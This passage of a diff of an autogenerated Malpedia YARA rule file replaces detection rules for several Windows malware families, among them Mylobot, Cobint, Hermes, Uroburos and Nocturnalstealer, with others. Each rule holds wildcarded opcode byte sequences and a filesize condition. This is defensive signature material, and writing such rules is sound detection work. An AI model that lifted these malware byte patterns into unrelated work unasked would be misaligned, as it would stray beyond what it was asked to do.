-		$sequence_25 = { 81ec90010000 e8???????? e8???????? e8???????? }
-		$sequence_26 = { 68???????? 6830750000 68e8030000 ff36 }
-		$sequence_27 = { 5f 5b 5d c20400 55 53 57 }
-		$sequence_28 = { 50 56 ffb42480000000 ff15???????? }
-		$sequence_29 = { 6808020000 6a00 ff74242c e8???????? }
-		$sequence_30 = { 6a01 6a00 e8???????? a3???????? 6800080000 }
+		$sequence_0 = { 8b3d???????? 8b7508 4f 8945fc }
+		$sequence_1 = { 741e 8d45f8 8975f8 50 85ff 750a }
+		$sequence_2 = { 85c9 759e 56 e8???????? 59 }
+		$sequence_3 = { 85c9 759e 56 e8???????? 59 5f 5e }
+		$sequence_4 = { 3c74 7404 3c54 7512 8915???????? eb0a }
+		$sequence_5 = { 68???????? 56 56 897004 ffd3 6aff }
+		$sequence_6 = { ff7508 ff15???????? ff7514 8945e4 8bc7 668945f0 ffd6 }
+		$sequence_7 = { eb28 c705????????02000000 eb1c c605????????01 }
+		$sequence_8 = { 0fb63e 0fb6c0 eb12 8b45e0 8a80044a4100 08443b1d 0fb64601 }
+		$sequence_9 = { ff7508 ff15???????? 57 8bf0 e8???????? 59 5f }
 
 	condition:
-		7 of them and filesize <1284096
+		7 of them and filesize <376832
 }
-rule MALPEDIA_Win_Mylobot_Auto : FILE
+rule MALPEDIA_Win_Cobint_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7a067cd7-af50-5d95-bc8a-c729265f1a45"
+		id = "817f690c-d59f-5f8a-a3d9-41671b2ba114"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mylobot_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cobint_auto.yar#L1-L246"
 		license_url = "N/A"
-		logic_hash = "e9a5b8dbe1c5cc719187453536536d6ca11df9a61a8a5853882ca3075e6106f0"
+		logic_hash = "138f47bd93e47d27bded8ff6cb142802d64943eb32ae6054eb04266b57a32a5b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -154794,38 +161924,46 @@ rule MALPEDIA_Win_Mylobot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff5014 56 6a00 50 8947f8 }
-		$sequence_1 = { 89442414 75c7 eb02 33f6 85f6 741c }
-		$sequence_2 = { 0f8344030000 8b0c83 8b442428 3bc8 0f823e020000 03442418 }
-		$sequence_3 = { 83c41c 2b4734 7409 50 53 e8???????? }
-		$sequence_4 = { 898108010000 8d442414 50 68???????? }
-		$sequence_5 = { 51 ff742410 50 8d84248c020000 50 }
-		$sequence_6 = { a1???????? 53 ff507c 8bf8 85ff 0f8491000000 8d442410 }
-		$sequence_7 = { 81eccc000000 8b450c 53 56 57 8b00 }
-		$sequence_8 = { 75cc 80bdfcfdffff01 0f8581000000 68???????? ff15???????? }
-		$sequence_9 = { c785d4fdffff28010000 ff15???????? 8d8dd4fdffff 8bf8 }
-		$sequence_10 = { 2bc2 8bc8 8bc3 8d7801 }
-		$sequence_11 = { 83bd48ffffff00 0f85e9000000 807dda01 0f95c0 }
-		$sequence_12 = { 7857 8b07 85c0 7462 }
-		$sequence_13 = { ffd3 68???????? 8d742414 e8???????? 83c404 85c0 }
-		$sequence_14 = { 897df4 3bc7 743d 8d55f4 }
-		$sequence_15 = { 8bf0 81fed0040000 750e 8b4718 50 57 }
+		$sequence_0 = { 83c410 5e 5d c3 a1???????? 56 33f6 }
+		$sequence_1 = { 3931 740d 40 83c110 83f820 }
+		$sequence_2 = { 57 ff15???????? 8b15???????? 8bc6 8bca }
+		$sequence_3 = { ff7508 e8???????? 83c40c 0fb6c0 5d c3 ff751c }
+		$sequence_4 = { 33f6 a1???????? 03c6 3938 }
+		$sequence_5 = { ffd6 f7d8 c745f404000000 1bc0 }
+		$sequence_6 = { 6a65 eb31 85db 743a 3bde 7336 53 }
+		$sequence_7 = { 59 5d c3 ff7508 6a00 ff35???????? }
+		$sequence_8 = { 90 90 e10b 96 7c90 90 }
+		$sequence_9 = { 90 90 749b 807ce19a80 7c90 }
+		$sequence_10 = { 807c909090 90 90 90 90 90 }
+		$sequence_11 = { 3c2e 7404 3c2c 7506 41 8a0431 2c20 }
+		$sequence_12 = { ffd6 6a04 8d45c0 c745c001000000 }
+		$sequence_13 = { 7202 04e0 8bcf 0fb6c0 c1c108 03c7 }
+		$sequence_14 = { c745c001000000 50 6a41 53 ffd6 baf608f7a4 }
+		$sequence_15 = { 837d1000 740d 8b5508 0355f0 }
+		$sequence_16 = { 0355f0 8a45ec 8802 eb0b 8b4d08 034df0 8a55ed }
+		$sequence_17 = { 83c005 c3 31b7807c30ae 807c909090 90 bdfd807c90 90 }
+		$sequence_18 = { 3bcf 7ce2 8b4dbc 8d9524feffff e8???????? 8d8524feffff 50 }
+		$sequence_19 = { 8d3c08 66391e 75e3 8b5df4 }
+		$sequence_20 = { 749b 807ce19a80 7c90 90 90 90 }
+		$sequence_21 = { 8bcf 8bf0 e8???????? 8945f8 8d45c4 50 8d45f0 }
+		$sequence_22 = { 90 90 bffc807c28 1a807c170e81 7cd7 9b }
+		$sequence_23 = { 8b75f8 85c0 7412 814df080330000 8d45f0 6a04 50 }
 
 	condition:
-		7 of them and filesize <8028160
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Crytox_Auto : FILE
+rule MALPEDIA_Win_Hermes_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0ddd8657-2514-5374-8039-613e49f7d728"
+		id = "61ab2fc1-04d0-5933-ac64-b12602279b7d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crytox_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermes_auto.yar#L1-L111"
 		license_url = "N/A"
-		logic_hash = "53a20cdadf7c04d8a44d2123a9699db23173b707dd2f3ef0f82ea172db5f35fb"
+		logic_hash = "9cfed48151b17cbf55d1481eb34069ea472830263b97aa44ce683b55da6f12b5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154839,32 +161977,32 @@ rule MALPEDIA_Win_Crytox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb7d 85f6 7479 c645c800 e8???????? 85c0 89c3 }
-		$sequence_1 = { dfe9 0f86c2e3ffff 89442410 89c1 c1fa02 db442410 c1f902 }
-		$sequence_2 = { e8???????? 8b4510 3b4518 741d 0fbf45c4 c1e002 89442408 }
-		$sequence_3 = { e8???????? 89c3 8b45dc 85c0 0f84adfeffff 8d65f4 89d8 }
-		$sequence_4 = { eb02 d9c9 83c301 038d30ffffff 399d04ffffff 7f8e ddd9 }
-		$sequence_5 = { f1 807de700 89d3 7510 6bc22c 80b84442660000 0f85ac000000 }
-		$sequence_6 = { c5c5fe3d???????? c5c572e70e c5fd7f9c24000b0000 c5e572e50e c5d572e60e c5fd7f9c24e0090000 c5ddfe15???????? }
-		$sequence_7 = { dee9 d95dc0 8b45e0 83c001 8d148500000000 8b4508 01d0 }
-		$sequence_8 = { e9???????? 8b7d24 8b4510 85ff c70000000000 742b 8b4508 }
-		$sequence_9 = { dec9 d96c2424 db5c2420 d96c2426 8b742420 d9e8 dfe9 }
+		$sequence_0 = { 6a01 6810660000 ff75fc ff15???????? }
+		$sequence_1 = { ff15???????? 33d2 6a79 59 f7f1 83c261 }
+		$sequence_2 = { 6a01 ff15???????? 8d45fc 50 }
+		$sequence_3 = { 8b4508 83c801 50 6a01 ff75fc }
+		$sequence_4 = { 8b4508 83c801 50 6a01 ff75fc ff15???????? }
+		$sequence_5 = { 50 8b4508 83c801 50 }
+		$sequence_6 = { 6a04 6800100000 6888130000 6a00 }
+		$sequence_7 = { 50 6a01 6810660000 ff75fc ff15???????? }
+		$sequence_8 = { 6800100000 6888130000 6a00 ff15???????? }
+		$sequence_9 = { 50 8d45fc 50 ff15???????? 6a20 }
 
 	condition:
-		7 of them and filesize <6156288
+		7 of them and filesize <7192576
 }
-rule MALPEDIA_Win_Fishmaster_Auto : FILE
+rule MALPEDIA_Win_Logtu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ac4d1a12-e633-54d1-8952-cc6fd81de034"
+		id = "c67bd86c-2bf9-53d0-9e56-6b46a7295f73"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fishmaster_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.logtu_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "ee895ce428e3021476e31fc5a4cbc7a0e07349c7fde3100efce8681f3e034d54"
+		logic_hash = "a1a55d055cae44fc8e92b272f8aaf6bf080cbc3cc39bc731b57992d62cbc8c84"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154878,32 +162016,32 @@ rule MALPEDIA_Win_Fishmaster_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4883f81f 7736 498bc8 e8???????? 48c7471000000000 }
-		$sequence_1 = { e8???????? 488bc3 4c8b4318 4983f810 }
-		$sequence_2 = { 7203 498b06 40883c08 c644080100 e9???????? 440fb6cf }
-		$sequence_3 = { 488d156e220000 488bcb ff15???????? 488d156e220000 488bcb ff15???????? 4c8be8 }
-		$sequence_4 = { 4157 4883ec60 488bfa 488bd9 33f6 897098 488970b0 }
-		$sequence_5 = { 48837f1810 7203 488b07 488d4c2438 }
-		$sequence_6 = { 0fb65310 8d42ff 3cfd 7718 88940d84000000 4883c314 }
-		$sequence_7 = { 46383400 75f7 488d9580000000 488d4d20 e8???????? }
-		$sequence_8 = { 480f434c2440 420fb6440803 4288440904 488d442440 48837c245810 480f43442440 488d4c2440 }
-		$sequence_9 = { 4c8b45f8 488d15ce200000 488bcf ff15???????? 488bf8 4c89742430 4489742428 }
+		$sequence_0 = { 8bf0 8d85a4fdffff 68???????? 50 ff15???????? }
+		$sequence_1 = { ff15???????? 8d8534ffffff 50 ff15???????? 6a01 }
+		$sequence_2 = { 50 6a64 6a00 ff15???????? 85c0 7509 8b45bc }
+		$sequence_3 = { 8bec 81ec98050000 a1???????? 33c5 8945fc 53 }
+		$sequence_4 = { 55 8bec 81ec98050000 a1???????? 33c5 8945fc 53 }
+		$sequence_5 = { 8d8574faffff 50 8d8534ffffff 50 }
+		$sequence_6 = { 50 8d85fcf7ffff 68???????? 50 e8???????? 8d85fcf7ffff 6800040000 }
+		$sequence_7 = { 6a01 8bf0 8d85a4fdffff 68???????? }
+		$sequence_8 = { 8d8584faffff 50 8d8574faffff 50 8d8534ffffff }
+		$sequence_9 = { 8d8578faffff 50 8d8584faffff 50 }
 
 	condition:
-		7 of them and filesize <812032
+		7 of them and filesize <924672
 }
-rule MALPEDIA_Win_Alma_Communicator_Auto : FILE
+rule MALPEDIA_Win_Redshawl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bb280ae5-df93-5ddd-a029-1d8f19d4cee3"
+		id = "6da43ccb-6114-536f-a2d4-a0a197b8eb4b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alma_communicator_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redshawl_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "ceeffab13f59872b0e8352c80061e88c0752f86bcb15a8ae0c39228603990d18"
+		logic_hash = "b081202974eb2cc07597ec5bbbc48f26672d398acc6550f420b42ca3feedcaae"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154917,77 +162055,85 @@ rule MALPEDIA_Win_Alma_Communicator_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a4a1c 884807 a1???????? c6400800 e8???????? 59 }
-		$sequence_1 = { 8945f0 8b450c 8945f4 8b4514 40 c745ec93f84000 894df8 }
-		$sequence_2 = { 8bcb 898554f7ffff e8???????? 8bcb 898550f7ffff 6a02 5f }
-		$sequence_3 = { e8???????? 83c40c 8d8d58ffffff 8d5102 }
-		$sequence_4 = { 8974241c 68d0070000 832600 897c2424 }
-		$sequence_5 = { 668b4f02 03fe 663bca 75f5 ffb53cf7ffff 8907 6bc328 }
-		$sequence_6 = { 0f85aa010000 33c0 40 8985ccebffff }
-		$sequence_7 = { 7204 3c7a 7608 3c2b 7404 3c2f }
-		$sequence_8 = { 88840d20f6ffff 41 84c0 75ed 8d8d20f6ffff 49 8a4101 }
-		$sequence_9 = { 8a01 41 84c0 75f9 8a442454 2bca 83f901 }
+		$sequence_0 = { ffc6 488d0c80 488d05baaa0000 488d0cc8 48890f ff15???????? 85c0 }
+		$sequence_1 = { e8???????? 488b8b58010000 e8???????? 488d7b58 be06000000 488d0519c30000 483947f0 }
+		$sequence_2 = { 488bce 488bc6 488d15709a0000 83e11f }
+		$sequence_3 = { 488b8b58010000 e8???????? 488d7b58 be06000000 488d0519c30000 }
+		$sequence_4 = { e9???????? 4c8d2552940000 488b0d???????? eb7c }
+		$sequence_5 = { eb76 33c9 488d1543bb0000 48891401 4883c230 4883c108 48ffcb }
+		$sequence_6 = { 8905???????? 8b430c 8905???????? 8bd7 4c8d0520d1ffff 89542420 }
+		$sequence_7 = { 8bd8 488bcf ff15???????? 488b742438 8bc3 }
+		$sequence_8 = { 72ed 48833d????????00 741f 488d0dc2c10000 e8???????? 85c0 }
+		$sequence_9 = { 4c8d251ac70000 4863f8 49833cfc00 752b b900100000 }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <174080
 }
-rule MALPEDIA_Win_Photoloader_Auto : FILE
+rule MALPEDIA_Win_Uroburos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "317a851b-1405-50a0-9b40-ce8155fbfa48"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.photoloader_auto.yar#L1-L159"
+		id = "205256f7-2469-53ee-990c-6fdfb536a7d1"
+		date = "2023-01-25"
+		modified = "2023-01-26"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.uroburos_auto.yar#L1-L234"
 		license_url = "N/A"
-		logic_hash = "c73e7831cd0e2d402a5233934c3321f9665203a6373de35d59f2fa5b935ee161"
+		logic_hash = "7cd6167d1ac85667ccf6f37a04c885a4dbb4d487c7aa8e68ed00f9a40de671ad"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20230124"
+		malpedia_hash = "2ee0eebba83dce3d019a90519f2f972c0fcf9686"
+		malpedia_version = "20230125"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0d00000005 e9???????? 8bd7 397b1c 7640 }
-		$sequence_1 = { 8bf7 8d6f10 ff15???????? 0f31 }
-		$sequence_2 = { c0c003 0fb6c8 8bc1 83e10f }
-		$sequence_3 = { 33c9 b801000000 0fa2 89442420 895c2424 }
-		$sequence_4 = { 33c9 b800000040 0fa2 895f0c }
-		$sequence_5 = { 0fa2 894704 33c9 b800000040 }
-		$sequence_6 = { 895c2424 894c2428 8954242c 0f31 }
-		$sequence_7 = { f7411400000020 7407 8b41f8 3901 7714 }
-		$sequence_8 = { 85d2 7417 448bc2 0f31 48c1e220 480bc2 8801 }
-		$sequence_9 = { 1bc0 23442410 3b03 7418 }
-		$sequence_10 = { 8903 8d44242c 50 6804010000 ff15???????? ff35???????? 8d4c2430 }
-		$sequence_11 = { 5d c3 8b4d08 8b45fc 8901 8b450c }
-		$sequence_12 = { c3 55 8bec 81ec18020000 53 8ad9 }
-		$sequence_13 = { 8b5604 8d44240c 8b0e 55 }
-		$sequence_14 = { 51 8d855cffffff 8bf2 68???????? }
-		$sequence_15 = { 56 33c0 8d6c240c 57 }
+		$sequence_0 = { 7526 85d2 7411 8b493c }
+		$sequence_1 = { 85d2 7406 8d4801 0fafcd }
+		$sequence_2 = { 09c9 7407 ffd1 a1???????? 832d????????04 3905???????? 73de }
+		$sequence_3 = { 85c0 7405 e9???????? 448bc7 }
+		$sequence_4 = { 8b493c 8bc2 4881c108010000 483bc1 }
+		$sequence_5 = { 29c0 eb4e 57 56 }
+		$sequence_6 = { 85c0 750d 48837c245000 0f95c0 8803 33c0 }
+		$sequence_7 = { 895c2430 e9???????? 33d2 448d4268 }
+		$sequence_8 = { 09c0 7503 21450c 837d0c00 }
+		$sequence_9 = { 83fe01 89450c 750c 09c0 7537 57 50 }
+		$sequence_10 = { 54 5d 53 8b5d08 56 8b750c 09f6 }
+		$sequence_11 = { 5f 09ff 59 751e 56 ff15???????? 8d86e8030000 }
+		$sequence_12 = { 40 c20c00 55 54 5d }
+		$sequence_13 = { 7704 4183c220 4585c9 740a 453bca 7505 4d85c0 }
+		$sequence_14 = { 8bc1 f7f5 85d2 7406 }
+		$sequence_15 = { 7433 eb13 8b0d???????? 8b09 09c9 7407 }
+		$sequence_16 = { 48 8bf0 49 2bf5 4c }
+		$sequence_17 = { 83c601 49 83c508 41 3bdf 7c82 45 }
+		$sequence_18 = { 750a 8d43ff e9???????? 33db }
+		$sequence_19 = { b901000000 e8???????? 48 85c0 48 8bd8 }
+		$sequence_20 = { 85c0 7434 48 83c310 83c701 48 }
+		$sequence_21 = { ff15???????? 44 8bd8 49 c1e320 4c }
+		$sequence_22 = { 8b8f58010000 e8???????? 48 895c2430 }
+		$sequence_23 = { 8b5c2450 48 83c448 c3 4c 8bc6 }
 
 	condition:
-		7 of them and filesize <107520
+		7 of them and filesize <1136640
 }
-rule MALPEDIA_Win_Portdoor_Auto : FILE
+rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "84ef053f-8b45-5899-91c4-5c0973d7e3db"
+		id = "16d4de33-3c54-5479-87ac-366869086324"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.portdoor_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nocturnalstealer_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "23b6dfc496aede71e92bc63441565950d5591602bef8ef2eba1715ff0ea58fc2"
+		logic_hash = "6f15e0c8b7c880f99f33b6a9409ba20c65fe7c5674e094de4ef3ad4c2fb61399"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155001,32 +162147,32 @@ rule MALPEDIA_Win_Portdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 83f8ff 8906 0f95c0 eb2f 807e5100 }
-		$sequence_1 = { 50 8d85fcf3ffff 50 e8???????? 8bf0 }
-		$sequence_2 = { ff5718 8903 6a04 59 8d4102 33d2 }
-		$sequence_3 = { 8945a8 eb04 8365a800 8b45a8 894590 834dfcff 8b4590 }
-		$sequence_4 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b0485b80f0210 ff3401 }
-		$sequence_5 = { 894224 6689424c 894248 88424e 8a01 88040b }
-		$sequence_6 = { 7e21 8b450c 6a00 2bc6 }
-		$sequence_7 = { 51 51 8d45f8 895df8 }
-		$sequence_8 = { e8???????? 8bf8 b8eeff0000 59 668907 8b450c 885f02 }
-		$sequence_9 = { e8???????? a1???????? 33c5 8945fc 53 8b5d08 8d85fdfbffff }
+		$sequence_0 = { ff3424 5e 56 e9???????? 81e945418082 01ca e9???????? }
+		$sequence_1 = { e9???????? 09d6 5f 81e220000000 ba00000000 81f700000080 81eeffffff7f }
+		$sequence_2 = { e9???????? 01742404 ff3424 5e 57 89e7 e9???????? }
+		$sequence_3 = { 89ef ba00020000 2524000000 09cb 05ffffff7f 81e6ffffff7f 81c7a2000000 }
+		$sequence_4 = { e9???????? 83c004 330424 310424 330424 5c 55 }
+		$sequence_5 = { b8b4888b7f 251810fb62 253a26e37e 05b68054fc 31c7 e9???????? 331c24 }
+		$sequence_6 = { e9???????? 8d852731bc18 52 89e2 50 b804000000 01c2 }
+		$sequence_7 = { e9???????? 895c2404 8b1c24 83c404 893424 890424 e9???????? }
+		$sequence_8 = { e9???????? 57 891c24 890424 e9???????? 81c704000000 81c704000000 }
+		$sequence_9 = { f7d8 f7d0 c1e808 c1e802 e9???????? 29cf 8b0c24 }
 
 	condition:
-		7 of them and filesize <297984
+		7 of them and filesize <10739712
 }
-rule MALPEDIA_Win_Mail_O_Auto : FILE
+rule MALPEDIA_Win_Redpepper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f99f4969-80f4-597a-910e-873dc6aaa6b8"
+		id = "6d36eb39-39c8-5443-a77b-2290277533bd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mail_o_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redpepper_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "873a5557134df7611d1b518c4c6caa2026bc1ae07076d192a3e745c13ea47ee0"
+		logic_hash = "e4e4c0e91e25e59e6fb978e405ca0275203329718b6dc395151e5d470e453248"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155039,33 +162185,33 @@ rule MALPEDIA_Win_Mail_O_Auto : FILE
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
-	strings:
-		$sequence_0 = { 7707 33c0 e9???????? f683a414000020 7417 8b83700e0000 2500000100 }
-		$sequence_1 = { f20f104c2450 f20f114930 83cbff 8b0f e8???????? 8bc3 488b5c2470 }
-		$sequence_2 = { eb0c 488d15b7940d00 e8???????? 488b4708 488d542440 448b4710 33c9 }
-		$sequence_3 = { b920000000 ffcb ff542428 83f8ff 0f84b2010000 ffc7 85db }
-		$sequence_4 = { 8b5c2438 418d7f10 4533c0 498bce 3bfb 7e23 488d542440 }
-		$sequence_5 = { e8???????? eb17 498b4d10 4d8bf4 418bdc e8???????? eb06 }
-		$sequence_6 = { c744242071000000 448d4041 eb1f 488918 488bd0 488b4d08 e8???????? }
-		$sequence_7 = { 85c0 743c 48ffc3 483b5c2430 72c3 488bcf e8???????? }
-		$sequence_8 = { 84c0 7465 48ffc1 498d0408 483bc2 72df ba00800000 }
-		$sequence_9 = { e8???????? 8bf8 85c0 7556 48837c245000 7505 8d7809 }
+	strings:
+		$sequence_0 = { 57 8bf9 8b870c1e0000 85c0 }
+		$sequence_1 = { 8b500c 41 83f904 8b12 8a540aff }
+		$sequence_2 = { 8b4d10 881e 50 8901 e8???????? 59 }
+		$sequence_3 = { 8b4520 3bc7 7439 68a1000000 68???????? 50 e8???????? }
+		$sequence_4 = { 53 55 56 33f6 57 8b7c2428 }
+		$sequence_5 = { 752d 689f000000 68???????? 6a26 }
+		$sequence_6 = { c3 8b7c2418 85ff 7432 e8???????? }
+		$sequence_7 = { 8845f3 8845f4 8845f7 8845f8 }
+		$sequence_8 = { 8b742414 6a0f f7d1 49 56 8be9 e8???????? }
+		$sequence_9 = { e8???????? 8b44241c 8b6c2428 8b4c2418 }
 
 	condition:
-		7 of them and filesize <5985280
+		7 of them and filesize <2482176
 }
-rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE
+rule MALPEDIA_Win_Mutabaha_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6a23a7a3-8360-570b-be01-5aa731924fe0"
+		id = "04cdad38-c730-58bf-ac9f-7881643cfe37"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crypto_fortress_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mutabaha_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "cb9e8ad6d0528bcc920d7d8992919925e873e6ab7fd21de603b21e974fe6d2be"
+		logic_hash = "21a56ac17d7181e1f264aab4aad9c0f8a40e021362f525e9ed7460f5330637ce"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155079,32 +162225,32 @@ rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffb5a8feffff e8???????? 68???????? ffb5a8feffff e8???????? }
-		$sequence_1 = { a3???????? 68???????? ff35???????? e8???????? 85c0 0f846f030000 }
-		$sequence_2 = { aa 3407 aa 045a aa }
-		$sequence_3 = { e8???????? 85c0 0f846f030000 a3???????? 68???????? ff35???????? e8???????? }
-		$sequence_4 = { ff35???????? e8???????? 85c0 0f8456060000 a3???????? 8d3dccec4000 33c0 }
-		$sequence_5 = { 2cff aa 2cf9 aa 2c4c }
-		$sequence_6 = { aa 2c4e aa 0444 aa 2cff aa }
-		$sequence_7 = { c9 c20800 55 8bec 83c4f8 8b4508 }
-		$sequence_8 = { aa 341b aa 2c27 aa 3441 aa }
-		$sequence_9 = { aa 340a aa 3421 aa 0433 aa }
+		$sequence_0 = { 50 8d9518ffffff 8d8d68feffff e8???????? 8d8d48ffffff c645fc09 }
+		$sequence_1 = { 8b85dcfdffff 83f808 7213 40 8d8dc8fdffff 50 ffb5c8fdffff }
+		$sequence_2 = { c745b800000000 c645a800 c745c06cac4700 85c0 7409 50 e8???????? }
+		$sequence_3 = { 85d2 7424 8b7c2424 8d4f08 833900 740a 40 }
+		$sequence_4 = { 0fb7f8 eb43 83f803 7536 ff734c ff75d4 e8???????? }
+		$sequence_5 = { c745ec00000000 668945dc e8???????? 8d45dc c745fc05000000 50 8bce }
+		$sequence_6 = { e8???????? c7465400000000 8bc6 8b4df4 64890d00000000 59 5e }
+		$sequence_7 = { 8d8d84fdffff c78598fdffff07000000 c78594fdffff00000000 66898584fdffff e8???????? 57 ba???????? }
+		$sequence_8 = { 0103 115304 33c0 5f 5e 5b 8be5 }
+		$sequence_9 = { e9???????? 8d8d5cffffff e9???????? 8d4dbc e9???????? 8d4dd4 e9???????? }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <1220608
 }
-rule MALPEDIA_Win_Avzhan_Auto : FILE
+rule MALPEDIA_Win_Nokki_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ae24c209-0bbe-565c-a4e8-dc5e113ea302"
+		id = "02120b2b-1366-521d-89f5-fe0cec012c20"
 		date = "2023-12-06"
 		modified = "2023-12-08"
